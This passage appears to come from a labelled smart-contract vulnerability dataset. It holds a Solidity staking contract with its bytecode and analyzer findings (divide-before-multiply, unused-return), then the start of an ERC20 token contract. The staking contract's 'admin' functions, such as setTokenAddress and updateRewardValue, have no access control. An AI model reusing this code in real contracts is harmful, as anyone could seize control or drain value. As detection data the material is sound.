revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Staker {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**21;
uint private _stakerRewardValue = 10**20;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private stakerInternalTime;
mapping (address => uint256) private stakerTokenBalance;
mapping (address => uint256) private stakerRewards;
address public RagnaAddress;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = true;
uint public creationTime = now;
receive() external payable {
if(msg.sender != UNIROUTER){
stake();
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public {
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public {
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
RagnaAddress = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function capPrice(bool input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function sqrt(uint y) public pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function stake() public payable{
require(creationTime + 24 hours <= now, "It has not been 24 hours since contract creation yet");
address staker = msg.sender;
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
if(price() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(RagnaAddress).mint(address(this), x);
address[] memory path = new address[](2);
path[0] = RagnaAddress;
path[1] = WETHAddress;
IERC20(RagnaAddress).approve(UNIROUTER, x);
Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, FACTORY, INF);
}
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(RagnaAddress).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(RagnaAddress).balanceOf(address(this));
IERC20(RagnaAddress).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(RagnaAddress, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawRewardTokens(uint amount) public {
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount);
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
// TETHERED
uint256 withdrawable = tetheredReward(amount);
IERC20(RagnaAddress).mint(msg.sender, withdrawable);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function ethEarnCalc(uint eth, uint time) public view returns(uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint totalLP = IERC20(poolAddress).totalSupply();
uint LP = ((eth/2)*totalLP)/totalEth;
return earnCalc(LP * time);
}
function earnCalc(uint LPTime) public view returns(uint){
return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint vall) internal view returns(uint){
return ( vall.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
// Get amount of tethered rewards
function tetheredReward(uint256 _amount) public view returns (uint256) {
if (now >= creationTime + 72 hours) {
return _amount;
} else {
uint256 progress = now - creationTime;
uint256 total = 72 hours;
uint256 ratio = progress.mul(1e6).div(total);
return _amount.mul(ratio).div(1e6);
}
}
// staking
function deposit(uint256 _amount) public {
require(creationTime + 24 hours <= now, "It has not been 24 hours since contract creation yet");
address staker = msg.sender;
IERC20(RagnaAddress).safeTransferFrom(staker, address(this), _amount);
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
stakerTokenBalance[staker] = stakerTokenBalance[staker].add(_amount);
}
function withdraw(uint256 _amount) public {
address staker = msg.sender;
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
stakerTokenBalance[staker] = stakerTokenBalance[staker].sub(_amount);
IERC20(RagnaAddress).safeTransfer(staker, _amount);
}
function withdrawStakerRewardTokens(uint amount) public {
address staker = msg.sender;
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
uint removeAmount = stakerEthtimeCalc(amount);
stakerRewards[staker] = stakerRewards[staker].sub(removeAmount);
// TETHERED
uint256 withdrawable = tetheredReward(amount);
IERC20(RagnaAddress).mint(staker, withdrawable);
}
function stakerRewardValue() public view returns (uint){
return _stakerRewardValue;
}
function viewRecentStakerRewardTokenAmount(address who) internal view returns (uint){
return (viewStakerTokenAmount(who).mul( now.sub(stakerInternalTime[who]) ));
}
function viewStakerTokenAmount(address who) public view returns (uint){
return stakerTokenBalance[who];
}
function viewStakerRewardTokenAmount(address who) public view returns (uint){
return stakerEarnCalc( stakerRewards[who].add(viewRecentStakerRewardTokenAmount(who)) );
}
function stakerEarnCalc(uint LPTime) public view returns(uint){
return ( stakerRewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL );
}
function stakerEthtimeCalc(uint vall) internal view returns(uint){
return ( vall.mul(31557600 * DECIMAL) ).div( stakerRewardValue() );
}
}
|
0x6080604052600436106101dc5760003560e01c80639d2a679f11610102578063d28de27311610095578063e91ed7c911610064578063e91ed7c9146105d9578063ec4fa5ac1461060c578063ed89f17a14610636578063ff2eba681461066057610206565b8063d28de27314610549578063d488ebe81461055e578063d8270dce14610591578063e42255d8146105a657610206565b8063b6b55f25116100d1578063b6b55f25146104cb578063c4fcf826146104f5578063cb43b2dd1461050a578063cff84bc31461053457610206565b80639d2a679f14610444578063a035b1fe14610459578063a064b44b1461046e578063b1fd67401461049857610206565b8063475d87331161017a5780637228cd7d116101495780637228cd7d146103ab5780637ca2f5f3146103db5780638439a541146103f05780639722006f1461041a57610206565b8063475d8733146103105780634caacd7514610325578063598272151461034e578063677342ce1461038157610206565b806326a4e8d2116101b657806326a4e8d2146102965780632dd31000146102c95780632e1a7d4d146102de5780633a4b66f11461030857610206565b80630af88b241461020b57806312c7df731461023c5780631c009aee1461026357610206565b366102065733737a250d5630b4cf539739df2c5dacb4c659f2488d146102045761020461068c565b005b600080fd5b34801561021757600080fd5b506102206110b6565b604080516001600160a01b039092168252519081900360200190f35b34801561024857600080fd5b506102516110c5565b60408051918252519081900360200190f35b34801561026f57600080fd5b506102516004803603602081101561028657600080fd5b50356001600160a01b03166110cb565b3480156102a257600080fd5b50610204600480360360208110156102b957600080fd5b50356001600160a01b0316611108565b3480156102d557600080fd5b5061022061119d565b3480156102ea57600080fd5b506102046004803603602081101561030157600080fd5b50356111b5565b61020461068c565b34801561031c57600080fd5b5061020461124a565b34801561033157600080fd5b5061033a61125f565b604080519115158252519081900360200190f35b34801561035a57600080fd5b506102516004803603602081101561037157600080fd5b50356001600160a01b031661126f565b34801561038d57600080fd5b50610251600480360360208110156103a457600080fd5b503561128a565b3480156103b757600080fd5b50610251600480360360408110156103ce57600080fd5b50803590602001356112db565b3480156103e757600080fd5b50610251611493565b3480156103fc57600080fd5b506102046004803603602081101561041357600080fd5b5035611499565b34801561042657600080fd5b506102516004803603602081101561043d57600080fd5b50356114e2565b34801561045057600080fd5b50610251611510565b34801561046557600080fd5b50610251611519565b34801561047a57600080fd5b506102516004803603602081101561049157600080fd5b50356116d1565b3480156104a457600080fd5b50610251600480360360208110156104bb57600080fd5b50356001600160a01b03166116eb565b3480156104d757600080fd5b50610204600480360360208110156104ee57600080fd5b5035611892565b34801561050157600080fd5b5061033a611954565b34801561051657600080fd5b506102046004803603602081101561052d57600080fd5b5035611964565b34801561054057600080fd5b50610220611a5b565b34801561055557600080fd5b50610220611a6a565b34801561056a57600080fd5b506102516004803603602081101561058157600080fd5b50356001600160a01b0316611a82565b34801561059d57600080fd5b50610251611ab7565b3480156105b257600080fd5b50610251600480360360208110156105c957600080fd5b50356001600160a01b0316611abd565b3480156105e557600080fd5b50610251600480360360208110156105fc57600080fd5b50356001600160a01b0316611baa565b34801561061857600080fd5b506102516004803603602081101561062f57600080fd5b5035611bc5565b34801561064257600080fd5b506102046004803603602081101561065957600080fd5b5035611c15565b34801561066c57600080fd5b506102046004803603602081101561068357600080fd5b50351515611d14565b42600a54620151800111156106d25760405162461bcd60e51b815260040180806020018281038252603481526020018061235a6034913960400191505060405180910390fd5b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152513391600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561074057600080fd5b505afa158015610754573d6000803e3d6000fd5b505050506040513d602081101561076a57600080fd5b50519050670e92596fd629000061077f611519565b101580156107965750600954600160b01b900460ff165b15610be057600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d602081101561081657600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561086b57600080fd5b505afa15801561087f573d6000803e3d6000fd5b505050506040513d602081101561089557600080fd5b5051905060006107ca6107cd84026108ba858002600902868602623cda20020161128a565b03816108c257fe5b600854604080516340c10f1960e01b8152306004820152939092046024840181905291519193506001600160a01b0316916340c10f1991604480830192600092919082900301818387803b15801561091957600080fd5b505af115801561092d573d6000803e3d6000fd5b505060408051600280825260608083018452945090925090602083019080368337505060085482519293506001600160a01b03169183915060009061096e57fe5b6001600160a01b03928316602091820292909201015260095482519116908290600190811061099957fe5b6001600160a01b039283166020918202929092018101919091526008546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152602481018790529051919093169263095ea7b39260448083019391928290030181600087803b158015610a1057600080fd5b505af1158015610a24573d6000803e3d6000fd5b505050506040513d6020811015610a3a57600080fd5b50506040516318cbafe560e01b815260048101838152600160248301819052735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f606484018190526407b71a3f546084850181905260a060448601908152865160a48701528651737a250d5630b4cf539739df2c5dacb4c659f2488d966318cbafe5968a96958a95909490939192909160c4909101906020878101910280838360005b83811015610ae8578181015183820152602001610ad0565b505050509050019650505050505050600060405180830381600087803b158015610b1157600080fd5b505af1158015610b25573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610b4e57600080fd5b8101908080516040519392919084640100000000821115610b6e57600080fd5b908301906020820185811115610b8357600080fd5b8251866020820283011164010000000082111715610ba057600080fd5b82525081516020918201928201910280838360005b83811015610bcd578181015183820152602001610bb5565b5050505090500160405250505050505050505b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610c3157600080fd5b505afa158015610c45573d6000803e3d6000fd5b505050506040513d6020811015610c5b57600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015610cb057600080fd5b505afa158015610cc4573d6000803e3d6000fd5b505050506040513d6020811015610cda57600080fd5b505190506000610cf483610cee4785611d76565b90611dd6565b600854604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015610d4a57600080fd5b505af1158015610d5e573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610db157600080fd5b505afa158015610dc5573d6000803e3d6000fd5b505050506040513d6020811015610ddb57600080fd5b5051600854604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610e2e57600080fd5b505afa158015610e42573d6000803e3d6000fd5b505050506040513d6020811015610e5857600080fd5b50516008546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b158015610ec557600080fd5b505af1158015610ed9573d6000803e3d6000fd5b505050506040513d6020811015610eef57600080fd5b50506008546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b158015610f7857600080fd5b505af1158015610f8c573d6000803e3d6000fd5b50505050506040513d6060811015610fa357600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b158015610fef57600080fd5b505afa158015611003573d6000803e3d6000fd5b505050506040513d602081101561101957600080fd5b5051905060006110298285611e18565b90506110566110378a611e5a565b6001600160a01b038b1660009081526004602052604090205490611e8b565b6001600160a01b038a166000908152600460209081526040808320939093556002815282822042905560039052205461108f9082611e8b565b6001600160a01b039099166000908152600360205260409020989098555050505050505050565b6009546001600160a01b031681565b60005490565b60006111006110fb6110dc84611ee5565b6001600160a01b03851660009081526007602052604090205490611e8b565b6114e2565b90505b919050565b600954600160a81b900460ff1615611167576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6009805460ff60a81b1916600160a81b179055600880546001600160a01b039092166001600160a01b0319909216919091179055565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b336111e16111c282611ee5565b6001600160a01b03831660009081526007602052604090205490611e8b565b6001600160a01b0382166000908152600760209081526040808320939093556005815282822042905560069052205461121a9083611e18565b6001600160a01b0380831660009081526006602052604090209190915560085461124691168284611f16565b5050565b6009805460ff60a01b1916600160a01b179055565b600954600160a01b900460ff1690565b6001600160a01b031660009081526006602052604090205490565b600060038211156112cd575080600160028204015b818110156112c7578091506002818285816112b657fe5b0401816112bf57fe5b04905061129f565b50611103565b811561110357506001919050565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561134957600080fd5b505afa15801561135d573d6000803e3d6000fd5b505050506040513d602081101561137357600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156113c857600080fd5b505afa1580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561143a57600080fd5b505afa15801561144e573d6000803e3d6000fd5b505050506040513d602081101561146457600080fd5b505190506000828260028904028161147857fe5b0490506114868682026116d1565b9450505050505b92915050565b60015490565b6114a161125f565b156114dd5760405162461bcd60e51b815260040180806020018281038252602e8152602001806123d9602e913960400191505060405180910390fd5b600055565b60006a1a1a94ec861d5c33800000611502836114fc611493565b90611d76565b8161150957fe5b0492915050565b6407b71a3f5481565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561158757600080fd5b505afa15801561159b573d6000803e3d6000fd5b505050506040513d60208110156115b157600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d602081101561163057600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561168557600080fd5b505afa158015611699573d6000803e3d6000fd5b505050506040513d60208110156116af57600080fd5b505190506116c981610cee670de0b6b3a764000085611d76565b935050505090565b60006a1a1a94ec861d5c33800000611502836114fc6110c5565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561175957600080fd5b505afa15801561176d573d6000803e3d6000fd5b505050506040513d602081101561178357600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156117d857600080fd5b505afa1580156117ec573d6000803e3d6000fd5b505050506040513d602081101561180257600080fd5b5051604080516318160ddd60e01b8152905191925061188a916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561184b57600080fd5b505afa15801561185f573d6000803e3d6000fd5b505050506040513d602081101561187557600080fd5b5051610cee61188387611baa565b8490611d76565b949350505050565b42600a54620151800111156118d85760405162461bcd60e51b815260040180806020018281038252603481526020018061235a6034913960400191505060405180910390fd5b60085433906118f2906001600160a01b0316823085611f6d565b6118fe6111c282611ee5565b6001600160a01b038216600090815260076020908152604080832093909355600581528282204290556006905220546119379083611e8b565b6001600160a01b0390911660009081526006602052604090205550565b600954600160b01b900460ff1681565b61198661197033611e5a565b3360009081526004602052604090205490611e8b565b33600090815260046020908152604080832093909355600290529081204290556119af82611fcd565b336000908152600460205260409020549091506119cc9082611e18565b336000908152600460205260408120919091556119e883611bc5565b600854604080516340c10f1960e01b81523360048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015611a3e57600080fd5b505af1158015611a52573d6000803e3d6000fd5b50505050505050565b6008546001600160a01b031681565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000611100611ab2611a9384611e5a565b6001600160a01b03851660009081526004602052604090205490611e8b565b6116d1565b600a5481565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015611b2b57600080fd5b505afa158015611b3f573d6000803e3d6000fd5b505050506040513d6020811015611b5557600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156117d857600080fd5b6001600160a01b031660009081526003602052604090205490565b6000600a546203f480014210611bdc575080611103565b600a5442036203f4806000611bf882610cee85620f4240611d76565b9050611c0b620f4240610cee8784611d76565b9350505050611103565b33611c226111c282611ee5565b6001600160a01b03821660009081526007602090815260408083209390935560059052908120429055611c5483611fef565b6001600160a01b038316600090815260076020526040902054909150611c7a9082611e18565b6001600160a01b038316600090815260076020526040812091909155611c9f84611bc5565b600854604080516340c10f1960e01b81526001600160a01b0387811660048301526024820185905291519394509116916340c10f199160448082019260009290919082900301818387803b158015611cf657600080fd5b505af1158015611d0a573d6000803e3d6000fd5b5050505050505050565b611d1c61125f565b15611d585760405162461bcd60e51b815260040180806020018281038252602e8152602001806123d9602e913960400191505060405180910390fd5b60098054911515600160b01b0260ff60b01b19909216919091179055565b600082611d855750600061148d565b82820282848281611d9257fe5b0414611dcf5760405162461bcd60e51b815260040180806020018281038252602181526020018061238e6021913960400191505060405180910390fd5b9392505050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ffc565b6000611dcf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061209e565b6001600160a01b03811660009081526002602052604081205461110090611e82904290611e18565b6114fc84611baa565b600082820183811015611dcf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604081205461110090611f0d904290611e18565b6114fc8461126f565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611f689084906120f8565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611fc79085906120f8565b50505050565b6000611100611fda6110c5565b610cee846a1a1a94ec861d5c33800000611d76565b6000611100611fda611493565b600081836120885760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561204d578181015183820152602001612035565b50505050905090810190601f16801561207a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161209457fe5b0495945050505050565b600081848411156120f05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561204d578181015183820152602001612035565b505050900390565b606061214d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166121a99092919063ffffffff16565b805190915015611f685780806020019051602081101561216c57600080fd5b5051611f685760405162461bcd60e51b815260040180806020018281038252602a8152602001806123af602a913960400191505060405180910390fd5b606061188a848460008560606121be85612320565b61220f576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061224e5780518252601f19909201916020918201910161222f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146122b0576040519150601f19603f3d011682016040523d82523d6000602084013e6122b5565b606091505b509150915081156122c957915061188a9050565b8051156122d95780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561204d578181015183820152602001612035565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061188a57505015159291505056fe497420686173206e6f74206265656e20323420686f7572732073696e636520636f6e7472616374206372656174696f6e20796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565646d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220ccfa759047b2f89e7fa043435d1aed61426c9afce19b2334c4ca8a9250e8208364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,395 |
0xf73fc3ffb2ebb97c37b2dc27464365e65591531a
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
